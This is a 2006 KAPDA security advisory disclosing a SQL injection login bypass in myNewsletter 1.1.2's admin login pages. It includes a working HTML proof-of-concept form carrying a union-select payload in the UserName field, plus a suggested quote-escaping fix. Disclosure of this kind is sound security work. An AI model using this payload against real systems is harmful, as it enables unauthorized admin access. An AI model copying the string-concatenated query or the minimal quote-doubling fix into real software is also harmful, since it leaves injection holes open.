<<< Date Index >>>     <<< Thread Index >>>

[KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection



[KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection

SQL_Injection

-------

KAPDA New advisory

Vulnerable products : myNewsletter <= 1.1.2
Vendor: http://www.aspburst.com/index.asp
Risk: Medium
Vulnerability: SQL_Injection

Date :
--------------------
Found : 2006/06/05
Vendor Contacted : 2006/06/06
Release Date : 2006/06/06

Discussion :
----------------
At parameter named 'UserName' in "validatelogin.asp" or "adminlogin.asp", 
Attacker can enter SQL command to login to the system.

Proof of Concepts:
--------------------
<html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change 
action in source and then submit
</center><form name="adminLogin" method="post" 
action="http://www.site.com/newsletter/adminLogin.asp";>
<input type="hidden" name="UserName" value="<!--'union select 1 from 
Newsletter_Admin where ''='">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>
<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net 
-->
<center><a href="http://www.kapda.ir";>www.kapda.ir</a></center>
</form>
</html>

Solution:
--------------------
Nothing yet by vendor .

Our solution :

in 'validatelogin.asp' :

function validateLogin(theUserName, thePassword)
sqlString = "Select Password from Newsletter_Admin Where UserName = '" 
&theUserName& "'"

change to this :

function validateLogin(theUserName, thePassword)
theUserName = replace(theUserName,"'","''")
sqlString = "Select Password from Newsletter_Admin Where UserName = '" 
&theUserName& "'"

Original Advisory:
--------------------
http://www.kapda.ir/advisory-340.html

Credit :
--------------------
FarhadKey of KAPDA
farhadkey [at} kapda {d0t} net
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir